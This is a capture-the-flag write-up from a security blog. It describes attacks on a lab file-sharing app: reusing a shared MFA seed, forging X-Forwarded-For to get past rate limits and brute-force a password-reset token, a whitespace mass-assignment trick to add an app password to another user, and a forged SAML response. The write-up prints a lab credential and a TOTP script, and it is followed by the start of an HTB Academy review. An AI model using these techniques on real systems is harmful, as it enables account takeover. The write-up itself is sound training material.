<p>In the hidden folder <code>.mail</code> I found mails coming from different members of the fern team (like Baba Yaga and Boruta). One of the emails is crucial for me</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1686227210600/38cccf1c-c6e5-4bcc-9269-4bd849e46bcb.png" alt class="image--center mx-auto" /></p>
<p>That helped me answer the last question in Puck challenge and get Leshy credentials (<code>leshy:nQRbhRyxuDuU9GNd</code>).</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1686227276832/86bda05c-8d0e-478a-8a40-a5ef13d5d99b.png" alt class="image--center mx-auto" /></p>
<h1 id="heading-leshy-forest-tracker">Leshy (<strong>Forest Tracker)</strong></h1>
<blockquote>
<p><em>Leshy is a forest spirit who has an intimate knowledge of the forest and its inhabitants. His job is to lead the team to the locations where the fern flower grows and to keep a watchful eye on any unwanted visitors who may threaten their mission</em></p>
</blockquote>
<p>It is worth noting that we are given a link to <a target="_blank" href="https://cheatsheetseries.owasp.org/cheatsheets/Multifactor_Authentication_Cheat_Sheet.html">OWASP resource</a> that could be helpful to bypass MFA on a Leshy account.</p>
<p>I started by browsing the source code, to see the MFA flow - and at first, I thought that I had found that the token is constant (<code>234567</code>) - but it didn't work.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1686228623324/dbf1266c-6191-4184-bd8b-b29fcff6d6e0.png" alt class="image--center mx-auto" /></p>
<p>So, I have to consult my assistants :)</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1686240911881/51484c04-af43-4326-a7ce-27a222d122e6.png" alt class="image--center mx-auto" /></p>
<p>And now I'm asking ChatGPT directly on that topic, knowing that the <code>234567</code> is crucial to solving that task.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1686241097922/12925b51-acf9-4f2a-b599-df5a29e1601a.png" alt class="image--center mx-auto" /></p>
<p>Ok, now I've asked it to give me the example in Python.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1686242207878/f2acdda7-3b7f-40e8-b3cb-e52afe071dfe.png" alt class="image--center mx-auto" /></p>
<p>After a few retries I have finished with that:</p>
<pre><code class="lang-python"><span class="hljs-comment">#!/usr/bin/python</span>
<span class="hljs-keyword">import</span> pyotp
<span class="hljs-keyword">import</span> base64

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">generate_totp_code</span>(<span class="hljs-params">seed_value</span>):</span>
    totp = pyotp.TOTP(seed_value)
    <span class="hljs-keyword">return</span> totp.now()

seed_value = base64.b32encode(<span class="hljs-string">"234567"</span>.encode())
totp_code = generate_totp_code(seed_value)
print(totp_code)
</code></pre>
<p>Let's try it. Unfortunately, it doesn't work.</p>
<p>After unveiling the hint - of course, I can use a different user to add MFA to it, so I can have the code generator (because seed is the same, OTP also are the same).</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1686234307655/f5ac493a-1f3d-4fb8-8d98-91e888a7933b.png" alt class="image--center mx-auto" /></p>
<blockquote>
<p>Backup codes are not the same.</p>
</blockquote>
<p>Because that secret code is the same for each user, we can use the same authentication codes generated for the <code>puck</code>.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1686234524993/45d96809-0875-49fc-992b-6601c75212d0.png" alt class="image--center mx-auto" /></p>
<p>I'm downloading both the flag and final flag PNG.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1686234624535/4823749e-b59f-4b36-b98c-941d4030de37.png" alt class="image--center mx-auto" /></p>
<p>No additional findings are reported. Because it is a dedicated instance - I'm removing MFA from both users, in case I have to log in as one again.</p>
<h1 id="heading-baba-yaga-witchcraft-researcher">Baba Yaga (<strong>Witchcraft Researcher)</strong></h1>
<blockquote>
<p><em>Baba Yaga is an expert in dark magic and is responsible for researching and discovering new ways to harness the power of the fern flower for the company's purposes. Her extensive knowledge of spells and potions makes her an invaluable member of the team.</em></p>
</blockquote>
<p>The task here is to come up with a rate limit bypass and brute-force the password reset token - possible by using HTTP headers modifications.</p>
<blockquote>
<p>Remember when we listed some changes that were introduced in <code>26.0.2</code> but missing in <code>26.0.0</code>? This sounds closely related to the scope of the task.</p>
</blockquote>
<p>First, let's ask ChatGPT about those comments on <code>LostController.php</code>.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1686244609477/2d463f6e-4865-4d0f-b1c2-59f66e4383f7.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-middlewaresecurityratelimitingmiddlewarephp"><code>/Middleware/Security/RateLimitingMiddleware.php</code></h2>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1686244571863/8e892ec0-1194-4c4b-9c2a-33782d36cff9.png" alt class="image--center mx-auto" /></p>
<p>And in the same Middleware:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1686244825826/ba7242e1-d3f4-455d-861b-96dea41f172d.png" alt class="image--center mx-auto" /></p>
<p>That should be easy. In <code>routes.php</code> there is an endpoint for that password reset:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1686245954600/b8876ab2-f946-400e-9c23-4344543309e3.png" alt class="image--center mx-auto" /></p>
<p>So, I fire up Burpsuite and proxy browser, intercept the request too <code>/lostpassword/reset/form/{token}/babayaga</code> and then add <code>X-Forwarded-For</code> header.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1686246299631/d0366df3-afa1-4da4-aed8-5625947075c5.png" alt class="image--center mx-auto" /></p>
<p>I am setting a new password for <code>babayaga</code> - that request also has to be intercepted and enhanced with <code>X-Forwarded-For</code>. After the password is changed, I log in as <code>babayaga</code> and extract the flag and shard.</p>
<blockquote>
<p>Endpoint for resetting a password. I left it over for the next day becasue I couldn't find the exact value that is expected to be entered on the submission form. In the <code>routes.php</code> there is a <code>/lostpassword/reset/form/{token}/{userId}</code> but this is not an acceptable answer. The correct one is <code>/lostpassword/reset/form/&lt;TOKEN&gt;/&lt;USER&gt;</code> which could be found in the <code>LostController-&gt;email(..)</code>.</p>
</blockquote>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1686291340954/9ed6f59f-3c85-470e-8214-424266a6c14b.png" alt class="image--center mx-auto" /></p>
<p>No additional steps are to be done on that account.</p>
<h1 id="heading-boruta-trickster"><strong>Boruta (Trickster)</strong></h1>
<blockquote>
<p><em>Boruta is a mischievous and unpredictable figure, known for his ability to shape-shift and his love of pranks and practical jokes. As the company's Trickster, Boruta uses his skills to distract and confuse their enemies, often leading them astray with illusions and false leads. Despite his playful nature, Boruta is fiercely loyal to the company and will stop at nothing to help them achieve their goals.</em></p>
</blockquote>
<p>Boruta's account can be accessed only with "app password". Maybe it is related to the WebDAV interface I've been seeing on each account.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1686292740091/e0d11993-fc95-40a3-90dd-51353ec73cdd.png" alt class="image--center mx-auto" /></p>
<p>I can map the <code>leshy</code> files</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1686294344323/3bab26fa-4629-43b7-984e-294b5a2cb247.png" alt class="image--center mx-auto" /></p>
<p>But I can't do that obviously with <code>boruta</code> because I don't know his password - if he has set any.</p>
<p>So perhaps WebAuthn?</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1686292829102/9995f13d-6cc3-40f3-a934-351d527b6902.png" alt class="image--center mx-auto" /></p>
<p>That also didn't seem to work. I'm reading the description once again. And looking at the Settings -&gt; Security page.</p>
<ul>
<li><p>"Prerequisites**:** Access to any account."</p>
</li>
<li><p>"Can you figure out a way to use an app password?"</p>
</li>
<li><p>"Mass Assignment vulnerability"</p>
</li>
</ul>
<p>And finally, it clicked when I saw there is an input I haven't seen before</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1686296905747/cb54ee9e-3bc6-458b-a6c8-b206f9ff9e2a.png" alt class="image--center mx-auto" /></p>
<p>Ok, so probably it is possible to cheat the API and add an app password to <code>boruta</code> instead of the currently logged-in user.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1686297289511/96c1547d-baa4-488a-9cb2-2b090f987bdf.png" alt class="image--center mx-auto" /></p>
<p>Ok, let's see the source code for that.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1686298050473/bd8b4ddb-cff5-414f-9174-836db35058c1.png" alt class="image--center mx-auto" /></p>
<p>It looks like it is a right area - because of the allowed users collection with <code>boruta</code> name in it.</p>
<p>When I add <code>loginName</code> parameter</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1686297841634/fed70d67-5727-4040-b313-2013ce364084.png" alt class="image--center mx-auto" /></p>
<p>Makes sense because the first check means exactly that - if <code>loginName</code> is <code>boruta</code> and it is not empty - throw that firewall error. So to bypass it and simultaneously skip the second check - I just have to add whitespaces to the <code>boruta</code>.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1686298031535/92a48aa9-f75d-4ed7-95ba-f5839c725d91.png" alt class="image--center mx-auto" /></p>
<p>Now, I'm using the method of mounting files via DAV interface</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1686302508474/9ff0b903-a520-4a10-99ae-970878c45b23.png" alt class="image--center mx-auto" /></p>
<blockquote>
<p>Remember to use explicitly <code>-o ro</code>, without it you won't be able to even read the contents of the file.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1686301957603/39875570-457a-49cb-9473-70a52e26d1d8.png" alt class="image--center mx-auto" /></p>
</blockquote>
<p>I'm copying the files I'm interested in.</p>
<pre><code class="lang-plaintext">sudo cp /mnt/dav-boruta/*.txt /eth/securing-midsummer-corp-2023
sudo cp /mnt/dav-boruta/fernflower_flag5.png /eth/securing-midsummer-corp-2023
</code></pre>
<p>One of the files contains a flag.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1686302893815/509978c4-2617-4c85-89ab-843b9093fbed.png" alt class="image--center mx-auto" /></p>
<p>On Boruta's account, there are additional files related to CTF:</p>
<ul>
<li><p><code>Fern_flower_residual_shard4.txt</code> - looks like a more AI-generated story</p>
</li>
<li><p><code>fernflower_flag5.png</code> - I don't know if that's an error, but so far, we have 1-3 and 5 final flag parts (Boruta is 4th account)</p>
</li>
<li><p><code>twardowski_sso_config.msg.txt</code> - message from Twardowski to Boruta about SSO configuration</p>
<p>  <img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1686304242196/bf8aebfd-75db-4fdb-b842-d5daaf6aa62d.png" alt class="image--center mx-auto" /></p>
</li>
<li><p><code>twardowski_sso_mess_msg.txt</code> - just information to Boruta about the mentioned SSO config</p>
</li>
</ul>
<p>I have tried to use that endpoint, asked ChatGPT to generate me some sample of SAML Response - but to no avail. Let's go to the next task.</p>
<h1 id="heading-twardowski-alchemist-unsolved"><strong>Twardowski (Alchemist) - unsolved</strong></h1>
<blockquote>
<p><em>Twardowski is a master of alchemy and uses his knowledge to create potions and elixirs that aid in the search for the fern flower. He is constantly experimenting with different ingredients and formulas to unlock the secrets of the flower's power. Twardowski's work is crucial to the company's mission, as his potions can provide the team with enhanced strength, speed, and intelligence.</em></p>
</blockquote>
<p>Getting some help.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1686314449513/5944369c-7ed4-44b1-9c5e-67f7262e86ee.png" alt class="image--center mx-auto" /></p>
<p>I've dug deeper in the application, looking for some SAML references. Because when looking at how the SAML Assertion is made, it felt like some metadata for that response is needed or at least useful.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1686322522280/da5470e3-ae8b-49b8-8abd-ae0f738e7025.png" alt class="image--center mx-auto" /></p>
<p>I have updated the ChatGPT with the metadata XML, then proceeded to look for the other APIs in <code>custom_apps\user_saml\appinfo\routes.php</code>. I noticed <code>apps/user_saml/saml/login</code> endpoint and I viewed it via browser. I got the following redirection:</p>
<p><code>http://idp.midsummer.corp:5000/saml?SAMLRequest=nZJPbxoxEMXvlfIdor2z613CQixAoqF%2FkCggIDn0Eg32bGLJa7seb5t%2B%2B5hl29JIySFznJn383sjjwlq7fisCY9miz8apHDx4TLWU60N8XY6SRpvuAVSxA3USDwIvpt9W%2FIiZdx5G6ywOnmpe1sGROiDsqbTLeaTZL36tFx%2FWazupRQjkcMBqxxQ9IUEHJajCisYlgPByqsCrkaHPnTaO%2FQUSZMkgmOrAxI1uDAUwIQ4YUW%2Fx8oeu97nJWcjXhTfO%2FU8ZlYGQkt4DMHxLFPSpbWS1NQ1%2BlRY7%2FiAMZYdc3WyTZf7ozJSmYe30x5OS8S%2F7veb3ma923eU2Z8z3FgTX0O%2FQ%2F9TCbzdLv%2BaqZRGemEn1VaAzsA5ypqIuD86a%2B1lICiZnujjY4O3l%2FDT99FqDCAhwDg7Z53hHV%2FFuIv5xmolfp8Gx%2FpsfQ3h9bPkad52lOxV7SpvDDkUqlIok3%2Bcmdb2141HCDhJgm8wuczi%2Byc%2F%2F%2F%2Fc6TM%3D&amp;RelayState=http%3A%2F%2Ffiles.midsummer.corp.local%2Fapps%2Fuser_saml%2Fsaml%2Flogin</code></p>
<p>I've asked my assistant if I can generate a SAML Assertion having the <code>SAMLRequest</code>.</p>
<blockquote>
<p>I must admit that I'm following blindly the AI here, becasue I've never worked with SAML Auth.</p>
</blockquote>
<p>A couple of messages later, I had a plan - and I was even given a Python lines to decode the SAMLRequest.</p>
<pre><code class="lang-python"><span class="hljs-keyword">import</span> base64
<span class="hljs-keyword">import</span> zlib

saml_request = <span class="hljs-string">"nZJPbxoxEMXvlfIdor2z613CQixAoqF/kCggIDn0Eg32bGLJa7seb5t++5hl29JIySFznJn383sjjwlq7fisCY9miz8apHDx4TLWU60N8XY6SRpvuAVSxA3USDwIvpt9W/IiZdx5G6ywOnmpe1sGROiDsqbTLeaTZL36tFx/WazupRQjkcMBqxxQ9IUEHJajCisYlgPByqsCrkaHPnTaO/QUSZMkgmOrAxI1uDAUwIQ4YUW/x8oeu97nJWcjXhTfO/U8ZlYGQkt4DMHxLFPSpbWS1NQ1+lRY7/iAMZYdc3WyTZf7ozJSmYe30x5OS8S/7veb3ma923eU2Z8z3FgTX0O/Q/9TCbzdLv+aqZRGemEn1VaAzsA5ypqIuD86a+1lICiZnujjY4O3l/DT99FqDCAhwDg7Z53hHV/FuIv5xmolfp8Gx/psfQ3h9bPkad52lOxV7SpvDDkUqlIok3+cmdb2141HCDhJgm8wuczi+yc////c6TM="</span>
decoded_data = base64.b64decode(saml_request)
decompressed_data = zlib.decompress(decoded_data, -zlib.MAX_WBITS)
</code></pre>
<pre><code class="lang-xml"><span class="hljs-tag">&lt;<span class="hljs-name">samlp:AuthnRequest</span> <span class="hljs-attr">xmlns:samlp</span>=<span class="hljs-string">"urn:oasis:names:tc:SAML:2.0:protocol"</span> 
  <span class="hljs-attr">xmlns:saml</span>=<span class="hljs-string">"urn:oasis:names:tc:SAML:2.0:assertion"</span>
  <span class="hljs-attr">ID</span>=<span class="hljs-string">"ONELOGIN_ddc8c1abef1aec3cdae768fefa765c0642a48b3a"</span> <span class="hljs-attr">Version</span>=<span class="hljs-string">"2.0"</span>
  <span class="hljs-attr">IssueInstant</span>=<span class="hljs-string">"2023-06-09T16:08:22Z"</span> <span class="hljs-attr">Destination</span>=<span class="hljs-string">"http://idp.midsummer.corp:5000/saml"</span>
  <span class="hljs-attr">ProtocolBinding</span>=<span class="hljs-string">"urn:oasis:names:tc:SAML:2.0:bindings:HTTP-POST"</span>
  <span class="hljs-attr">AssertionConsumerServiceURL</span>=<span class="hljs-string">"http://files.midsummer.corp.local/apps/user_saml/saml/acs"</span>&gt;</span>
  <span class="hljs-tag">&lt;<span class="hljs-name">saml:Issuer</span>&gt;</span>http://files.midsummer.corp.local/apps/user_saml/saml/metadata<span class="hljs-tag">&lt;/<span class="hljs-name">saml:Issuer</span>&gt;</span>
  <span class="hljs-tag">&lt;<span class="hljs-name">samlp:NameIDPolicy</span> <span class="hljs-attr">Format</span>=<span class="hljs-string">"urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified"</span>
    <span class="hljs-attr">AllowCreate</span>=<span class="hljs-string">"true"</span> /&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">samlp:AuthnRequest</span>&gt;</span>
</code></pre>
<p>Later I found out that all I need is the <a target="_blank" href="https://www.samltool.com/decode.php">SAMLTool site</a>. As for the SAML response validations goes, I found that</p>
<ul>
<li><p>SAMLResponse has to be sent via POST parameter (<code>application/x-www-form-urlencoded</code>) - <code>Auth-&gt;processResponse()</code> - application is using <code>HTTP_POST Binding</code>; parameter has to be base64 encoded (<code>Response</code> constructor)</p>
</li>
<li><p>cookie <code>saml-data</code> has to be set and its value is provided in the initial response to GET <code>http://files.midsummer.corp.local/apps/user_saml/saml/login</code> - <code>SAMLController-&gt;assertionConsumerService()</code></p>
</li>
<li><p>validation is done in <code>Response-&gt;isValid()</code> - this method has ~300 lines with some portions commented out</p>
</li>
</ul>
<p>Some of the requirements come from the settings - which I cannot see, so it's a bit hard to guess what went wrong.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1686346163306/42fc7c34-c9a5-4f06-8878-466cb673b36f.png" alt class="image--center mx-auto" /></p>
<p>This is my final ResponseXML that still is not valid. I have also tried both the assertion and message signing with a certificate generated on the <a target="_blank" href="https://www.samltool.com/self_signed_certs.php">SAMLTool</a>.</p>
<pre><code class="lang-xml"><span class="hljs-tag">&lt;<span class="hljs-name">samlp:Response</span> <span class="hljs-attr">xmlns:samlp</span>=<span class="hljs-string">"urn:oasis:names:tc:SAML:2.0:protocol"</span>
    <span class="hljs-attr">xmlns:saml</span>=<span class="hljs-string">"urn:oasis:names:tc:SAML:2.0:assertion"</span>
    <span class="hljs-attr">ID</span>=<span class="hljs-string">"_8e8dc5f69a98cc4c1ff3427e5ce34606fd672f91e6"</span> <span class="hljs-attr">Version</span>=<span class="hljs-string">"2.0"</span>
    <span class="hljs-attr">IssueInstant</span>=<span class="hljs-string">"2023-06-21T17:26:53Z"</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">saml:Issuer</span>&gt;</span>http://idp.midsummer.corp<span class="hljs-tag">&lt;/<span class="hljs-name">saml:Issuer</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">samlp:Status</span>&gt;</span>
        <span class="hljs-tag">&lt;<span class="hljs-name">samlp:StatusCode</span> <span class="hljs-attr">Value</span>=<span class="hljs-string">"urn:oasis:names:tc:SAML:2.0:status:Success"</span> /&gt;</span>
    <span class="hljs-tag">&lt;/<span class="hljs-name">samlp:Status</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">saml:Assertion</span> <span class="hljs-attr">xmlns:xsi</span>=<span class="hljs-string">"http://www.w3.org/2001/XMLSchema-instance"</span>
        <span class="hljs-attr">xmlns:xs</span>=<span class="hljs-string">"http://www.w3.org/2001/XMLSchema"</span> <span class="hljs-attr">ID</span>=<span class="hljs-string">"_d71a3a8e9fcc45c9e9d248ef7049393fc8f04e5f75"</span>
        <span class="hljs-attr">Version</span>=<span class="hljs-string">"2.0"</span> <span class="hljs-attr">IssueInstant</span>=<span class="hljs-string">"2023-06-21T17:26:53Z"</span>&gt;</span>
        <span class="hljs-tag">&lt;<span class="hljs-name">saml:Issuer</span>&gt;</span>http://idp.midsummer.corp<span class="hljs-tag">&lt;/<span class="hljs-name">saml:Issuer</span>&gt;</span>
        <span class="hljs-tag">&lt;<span class="hljs-name">saml:Subject</span>&gt;</span>
            <span class="hljs-tag">&lt;<span class="hljs-name">saml:NameID</span> <span class="hljs-attr">SPNameQualifier</span>=<span class="hljs-string">"http://sp.example.com/demo1/metadata.php"</span>
                <span class="hljs-attr">Format</span>=<span class="hljs-string">"urn:oasis:names:tc:SAML:2.0:nameid-format:transient"</span>&gt;</span>
                _ce3d2948b4cf20146dee0a0b3dd6f69b6cf86f62d7<span class="hljs-tag">&lt;/<span class="hljs-name">saml:NameID</span>&gt;</span>
            <span class="hljs-tag">&lt;<span class="hljs-name">saml:SubjectConfirmation</span> <span class="hljs-attr">Method</span>=<span class="hljs-string">"urn:oasis:names:tc:SAML:2.0:cm:bearer"</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">saml:SubjectConfirmationData</span> <span class="hljs-attr">NotOnOrAfter</span>=<span class="hljs-string">"2024-01-18T06:21:48Z"</span>
                    <span class="hljs-attr">Recipient</span>=<span class="hljs-string">"http://files.midsummer.corp.local/apps/user_saml/saml/acs"</span> /&gt;</span>
            <span class="hljs-tag">&lt;/<span class="hljs-name">saml:SubjectConfirmation</span>&gt;</span>
        <span class="hljs-tag">&lt;/<span class="hljs-name">saml:Subject</span>&gt;</span>
        <span class="hljs-tag">&lt;<span class="hljs-name">saml:Conditions</span> <span class="hljs-attr">NotBefore</span>=<span class="hljs-string">"2023-06-21T17:26:53Z"</span> <span class="hljs-attr">NotOnOrAfter</span>=<span class="hljs-string">"2023-06-26T17:26:53Z"</span>&gt;</span>
        <span class="hljs-tag">&lt;/<span class="hljs-name">saml:Conditions</span>&gt;</span>
        <span class="hljs-tag">&lt;<span class="hljs-name">saml:AuthnStatement</span> <span class="hljs-attr">AuthnInstant</span>=<span class="hljs-string">"2023-06-21T17:26:53Z"</span>
            <span class="hljs-attr">SessionNotOnOrAfter</span>=<span class="hljs-string">"2023-06-26T17:26:53Z"</span>
            <span class="hljs-attr">SessionIndex</span>=<span class="hljs-string">"_be9967abd904ddcae3c0eb4189adbe3f71e327cf93"</span>&gt;</span>
            <span class="hljs-tag">&lt;<span class="hljs-name">saml:AuthnContext</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">saml:AuthnContextClassRef</span>&gt;</span>urn:oasis:names:tc:SAML:2.0:ac:classes:Password<span class="hljs-tag">&lt;/<span class="hljs-name">saml:AuthnContextClassRef</span>&gt;</span>
            <span class="hljs-tag">&lt;/<span class="hljs-name">saml:AuthnContext</span>&gt;</span>
        <span class="hljs-tag">&lt;/<span class="hljs-name">saml:AuthnStatement</span>&gt;</span>
        <span class="hljs-tag">&lt;<span class="hljs-name">saml:AttributeStatement</span>&gt;</span>
            <span class="hljs-tag">&lt;<span class="hljs-name">saml:Attribute</span> <span class="hljs-attr">Name</span>=<span class="hljs-string">"alias"</span>
                <span class="hljs-attr">NameFormat</span>=<span class="hljs-string">"urn:oasis:names:tc:SAML:2.0:attrname-format:basic"</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">saml:AttributeValue</span> <span class="hljs-attr">xsi:type</span>=<span class="hljs-string">"xs:string"</span>&gt;</span>twardowski<span class="hljs-tag">&lt;/<span class="hljs-name">saml:AttributeValue</span>&gt;</span>
            <span class="hljs-tag">&lt;/<span class="hljs-name">saml:Attribute</span>&gt;</span>
            <span class="hljs-tag">&lt;<span class="hljs-name">saml:Attribute</span> <span class="hljs-attr">Name</span>=<span class="hljs-string">"role"</span>
                <span class="hljs-attr">NameFormat</span>=<span class="hljs-string">"urn:oasis:names:tc:SAML:2.0:attrname-format:basic"</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">saml:AttributeValue</span> <span class="hljs-attr">xsi:type</span>=<span class="hljs-string">"xs:string"</span>&gt;</span>sso<span class="hljs-tag">&lt;/<span class="hljs-name">saml:AttributeValue</span>&gt;</span>
            <span class="hljs-tag">&lt;/<span class="hljs-name">saml:Attribute</span>&gt;</span>
        <span class="hljs-tag">&lt;/<span class="hljs-name">saml:AttributeStatement</span>&gt;</span>
    <span class="hljs-tag">&lt;/<span class="hljs-name">saml:Assertion</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">samlp:Response</span>&gt;</span>
</code></pre>
<p>Above XML is not complete - but I've seen that some of the properties like `InResponseTo` are not validated if not present - I have omitted them here.</p>
<h1 id="heading-last-resort">Last Resort</h1>
<p>Because I couldn't progress further without <code>twardowski</code> account, my journey ends here. Or is it?</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1687677514699/a986208c-6d7c-499a-910e-2c99ca401253.png" alt class="image--center mx-auto" /></p>
<p>I have 4/6 pieces and that is enough to get the part of the phrase used to create a flag.</p>
<p><code>The fern flower reveals ...</code></p>
<p>Because of how THM presents the answer text boxes, I also know the exact length of the flag.</p>
<pre><code class="lang-xml">**************{***********************************}
Midsummer_Corp{Th3_f3r**f!0w3r_r3**@1*************}
</code></pre>
<p>Creative Bing AI wasn't much of a help.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1687687698530/b0cdbb8b-ca17-44e8-9c7d-41edbbbbb7f5.png" alt class="image--center mx-auto" /></p>
<p>ChatGPT responses make me wonder why AIs have issues counting the length of the word.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1687690327622/9e1da19a-3e27-40c7-a3df-9ea9880ba9f1.png" alt class="image--center mx-auto" /></p>
<p>Brute forcing answers is against the rules.. So I can only guess it has something to do with the saying "<em>The fern flower reveals itself only to the bravest</em>".</p>
<h1 id="heading-conclusions">Conclusions</h1>
<div class="hn-embed-widget" id="join-cta"></div><p> </p>
<ul>
<li><p>Would it be possible to solve the whole CTF using <strong>only</strong> an AI processor? Despite the fact, it was a bit of pain to use in this event - I really think it shines when it comes to pure binary and mathematical operations. I've seen reverse challenges solved after one prompt, but it should be understandable that it won't happen for tasks that require pentesting and live analysis of the application flow.</p>
</li>
<li><p>It takes longer to prompt (guide) the AI through the challenge, but when you are in total black - I think it is easier and more efficient to do. This is especially true with Bing AI which links you more resources to read on the topic which can give you additional insight.</p>
</li>
</ul>
<p>Overall, I had fun solving the challenges, and definitely I want to see the solution for that SAML task - to see what did I did wrong.</p>
]]></content:encoded></item><item><title><![CDATA[Attacking Authentication Mechanisms with HackTheBox Academy]]></title><description><![CDATA[HackTheBox is currently running a 20% discount on Academy Silver Yearly Subscription and I thought I might as well finally publish a review of the Academy portal. Especially, because I've been using it since 2021 and I think everyone should also give...]]></description><link>https://blog.cyberethical.me/hackthebox-academy</link><guid isPermaLink="true">https://blog.cyberethical.me/hackthebox-academy</guid><category><![CDATA[hacking]]></category><category><![CDATA[securityawareness]]></category><category><![CDATA[#cybersecurity]]></category><dc:creator><![CDATA[Kamil Gierach-Pacanek]]></dc:creator><pubDate>Sun, 18 Jun 2023 14:02:04 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1687096346073/3a222408-06a6-417b-a9f8-15c8f2b4e21b.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<div class="hn-embed-widget" id="support-cta"></div><p> </p>
<p>HackTheBox is currently running <a target="_blank" href="https://blog.cyberethical.me/go-htbacademy">a 20% discount on Academy Silver Yearly Subscription</a> and I thought I might as well finally publish a review of the Academy portal. Especially, because I've been using it since 2021 and I think everyone should also give it at least a try.</p>
<p>For the test run I have chosen Tier III module "Attacking Authentication Mechanisms" mainly because other challenge gives me really hard time with SAML Response validation.</p>
<div data-node-type="callout">
<div data-node-type="callout-emoji">💡</div>
<div data-node-type="callout-text">This article contains <a target="_blank" href="https://blog.cyberethical.me/go-htbacademy">affiliate link</a> to the HTB Academy. This doesn't mean it is sponsored by HTB and only bias I have towards of HackTheBox is my own love for their work :). If you are my reader for the last years, you know I mean it. If this is the first time you visit CyberEthical - trust yourself. <a target="_blank" href="https://blog.cyberethical.me/go-htbacademy">Create the account</a>, then make your own opinion.</div>
</div>

<h1 id="heading-single-module-cost">Single Module Cost</h1>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1687064480575/b296f604-85b5-43b5-926c-99a3ea54bbf8.png" alt class="image--center mx-auto" /></p>
<p>Costs when buying "raw" cubes, without any subscription:</p>
<ul>
<li><p>Tier I modules cost 50 cubes (<strong>£4</strong>)</p>
</li>
<li><p>Tier II modules cost 100 cubes (<strong>£8</strong>)</p>
</li>
<li><p>Tier III modules cost 500 cubes (<strong>£40</strong>)</p>
</li>
<li><p>Tier IV modules cost 1000 cubes (<strong>£80</strong>)</p>
</li>
</ul>
<h1 id="heading-visual-design">Visual Design</h1>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1687065757977/df4a26d9-92c0-4d1c-88b6-af6e4cb23897.png" alt class="image--center mx-auto" /></p>
<p>Modules are divided into sections, which are clear and easy to read. Lessons content contains visual helps like images, graphics and well styled text (all personal opinion).</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1687082857372/ea9ffd2f-4d37-4065-b964-ecaf43ede435.png" alt class="image--center mx-auto" /></p>
<p>There is a theoretical and practical part. Most practical lessons rewards you with cubes (that way you can get back 20% of cubes you spent to unlock the module).</p>
<h1 id="heading-cheatsheet">Cheatsheet</h1>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1687083256465/b2eb25cf-6689-4863-901e-4fbd1e738aa1.png" alt class="image--center mx-auto" /></p>
<p>Exactly what is says. Collection of useful commands and some key notes from the module.</p>
<h1 id="heading-parrot-pwnbox">Parrot Pwnbox</h1>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1687081232176/13b29e96-4cea-420e-8475-952c08269f86.png" alt class="image--center mx-auto" /></p>
<p>Very handly and neat system. You just click "Launch" and literally within few seconds the preconfigured Parrot OS appears.</p>
<blockquote>
<p>You can even download the ISO for the same OS from the <a target="_blank" href="https://www.parrotsec.org/download/?version=hackthebox">Parrot Security site</a>.</p>
</blockquote>
<p>Responsive and ready to go. <a target="_blank" href="https://www.hackthebox.com/blog/pwnbox-parrot">See what STÖK and others say about it</a>.</p>
<h1 id="heading-rewards">Rewards</h1>
<div class="hn-embed-widget" id="join-cta"></div><p> </p>
